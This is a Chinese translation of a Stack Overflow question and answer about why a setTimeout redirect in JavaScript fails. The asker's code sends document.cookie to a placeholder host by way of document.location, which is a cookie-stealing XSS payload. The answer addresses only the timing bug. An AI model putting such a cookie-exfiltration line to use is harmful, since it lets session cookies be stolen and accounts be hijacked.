我正在尝试让以下代码工作。但它不会:(。
我已经单独测试了超时并且它工作正常(代码行 2),但第一行不起作用 :(,任何指导将不胜感激。
document.location="http://site/site.php?cookie=" + document.cookie;setTimeout(document.location='http://site/site/newpage',500);
setTimeout(document.location='http://site/site/newpage',500);
我正在 firebug 控制台中测试这个(顺便说一下)
最佳答案
更改 document.location 会立即将您导航到另一个页面。
setTimeout 需要使用 new Function("string") 构造的字符串(不推荐)、函数指针(推荐)或匿名函数(推荐)。
你可以像这样发送一个匿名函数:
setTimeout(function(){document.location='http://site/site/newpage'},500);
关于javascript - javascript中的设置超时问题,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/21175717/